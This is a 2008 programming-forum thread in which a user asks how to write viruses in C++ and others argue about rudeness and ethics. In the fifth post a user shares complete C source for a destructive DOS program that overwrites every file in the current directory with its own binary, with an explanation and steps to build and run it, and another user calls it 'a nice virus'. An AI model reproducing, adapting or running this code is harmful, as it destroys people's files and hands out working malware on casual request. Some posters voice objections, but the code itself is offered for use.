1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

C++ virus

Discussion in 'C++' started by sas1992, Jul 8, 2008.

  1. sas1992

    sas1992 New Member

    Joined:
    Jul 8, 2008
    Messages:
    3
    Likes Received:
    0
    Trophy Points:
    0
    can any1 teach me how to start making viruses in c++
     
  2. Dak914

    Dak914 New Member

    Joined:
    May 3, 2008
    Messages:
    48
    Likes Received:
    5
    Trophy Points:
    0
    Occupation:
    Student, Part-Time Educator
    Location:
    Michigan
    n00b
    way to go, cracker
    learn for yourself
    Cplusplus.com
    that should get you started
    it takes a lot of reading
    you cant expect to start making programs just because you learned the basics
    ~3xistanc3
     
  3. XXxxImmortalxxXX

    XXxxImmortalxxXX New Member

    Joined:
    Jun 27, 2007
    Messages:
    569
    Likes Received:
    18
    Trophy Points:
    0
    calling someone a noob is pointless you was once a newb as well he only came here for help he didnt ask for sarcastic answers maybe you should edit your post and delete all that sarcasim

    how would u like it if you went to a forum and wanted some help and some guys out of know where starts calling you newb and stuff.


    You wouldnt like it would you
     
  4. dssr

    dssr New Member

    Joined:
    Feb 16, 2008
    Messages:
    26
    Likes Received:
    0
    Trophy Points:
    0
    Occupation:
    Programming
    Location:
    Kolkata

    I second Immortal, you should not show such attitude ....
     
  5. dssr

    dssr New Member

    Joined:
    Feb 16, 2008
    Messages:
    26
    Likes Received:
    0
    Trophy Points:
    0
    Occupation:
    Programming
    Location:
    Kolkata
    and about C++ virus i have something similar, you may not call it a proper virus it damages computer and it may give you some idea, just get the idea from this program

    It's not created by me, one of my frnd Shumaila Juffar did it

    Code:
    #include<stdio.h>
    #include<dos.h>
    #include<dir.h>
    #include<fcntl.h>
    #include<conio.h>
    void main(int argc,char* argv[])
    { char buf[512];
    int source,target,byt,done;
    struct ffblk ffblk;
    clrscr();
    textcolor(2);
    cprintf("--------------------------------------------------------------------------");
    printf("\nVirus: Pagal Shum :p 1.0\nProgrammer:shumaila jaffer\n");
    cprintf("--------------------------------------------------------------------------");
    done = findfirst("*.*",&ffblk,0);
    while (!done)
    { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Logicbomb");
    source=open(argv[0],O_RDONLY|O_BINARY);
    target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);
    while(1)
    {byt=read(source,buf,512);
    if(byt>0)
    write(target,buf,byt);
    else
    break;
    }
    close(source);
    close(target);
    done = findnext(&ffblk);
    }
    getch();
    }
    How it works?
    The working logic is very simple the program get its name through
    command line argument and using findfirst(),findnext() functions files in current working directery are fetched and are replaced by our program So the target file will become our program
    How to test
    1>write the code in c compiler, remember thatDO NOT RUN THE CODE, just complie or build it, so that the .exe file is built
    2>create a folder say "test",put the .exe file of our program in that folder also put some other files,run our example.exe file ,all files in folder r attacked

    WARNING
    I have not tested this neither i created, i am just sharing ..... so i will reccomend that use this program to get an idea, dont implement
     
  6. XXxxImmortalxxXX

    XXxxImmortalxxXX New Member

    Joined:
    Jun 27, 2007
    Messages:
    569
    Likes Received:
    18
    Trophy Points:
    0
    Thankyou dssr for the support also tell your friend that that is a nice virus
     
  7. Dak914

    Dak914 New Member

    Joined:
    May 3, 2008
    Messages:
    48
    Likes Received:
    5
    Trophy Points:
    0
    Occupation:
    Student, Part-Time Educator
    Location:
    Michigan
    How could you? I thought this was a programming site meant for the production of applications so as to help the world of computers, not destroy it! You should only create applications for a good cause, and only for a bad cause if it is absolutely necessary. Whatever, you want have to worry about me getting on the site anymore anyway.
    I'm out for good.

    edit: On giving the matter more thought, I have evidently changed my mind about the site. I disagree strongly with the thoughts of someone who [destroys computers] for no reason. This is cracker attitude. That is also why I called this person a noob instead of a newbie. I agree that I was a newbie once. But, I disagree that I was a noob once. Noobs are people who have an interest only in being the hacker that normal society believes them to be, while newbies have an interest in expanding their knowledge about computers to meet the standards of other true hackers. A hackers intentions should only be negative when their reasons are serious. Crackers intentions are bad all the time, regardless of the reason. I give this person credit for including a programming language, this shows general interest. I merely ask that this person state a serious reason for why they would need such a virus, instead of just blurting out the word "virus" so that someone could easily mistake their intentions. I hope that clears up my opinions as to why I would post this kind of answer to that kind of question.
     
    Last edited: Oct 29, 2008
  8. Dak914

    Dak914 New Member

    Joined:
    May 3, 2008
    Messages:
    48
    Likes Received:
    5
    Trophy Points:
    0
    Occupation:
    Student, Part-Time Educator
    Location:
    Michigan
    No, of course I wouldnt! It is just, I would not go to said forum and post such a outrageous question. This is more of a personal question to ask a friend or someone you trust that would give you a straight answer, knowledge behind that answer, and opinions on the question itself. Now let me ask you this, If I hadnt posted my answer, what would you answer. Just answer the question as you would, without opinions on other stated answers. Oh, and I am still a newbie, but I can guarantee you that I will never be a noob.
     
    Scripting likes this.
  9. back from retirement

    back from retirement New Member

    Joined:
    Nov 9, 2008
    Messages:
    72
    Likes Received:
    1
    Trophy Points:
    0
    Occupation:
    Student, UG 1st Yr., Jadavpur University
    Location:
    Uttarpara, West Bengal, India
    I don't understand if there is any point of showing attitudes and shouting spells at each other.....

    Can't you guys think a bit more calm 'n quietly?? I think the best answer to the fellow looking forward to create a virus would have been to make him/her know that there is practicaly no point in designing viruses....we could think and act much more rationally and creatively....but at the same time there is also no point as well to hurt someone's eagerness for learning....
    The only positive thing I see in designing a virus is the logic....the algorithm....it requires huge brain work.....and we should start to practice makin the antivirus at the smae time....not for application, but for enhancement of knowledge.....afterall we need to filter the good out of the bad....don't we???

    Sorry guys...for uttering so much words being just a newcomer....I swear I won't do it next time.....
    keep smiling everyone....cheers....

    ------------------
    @ r k @
     

Share This Page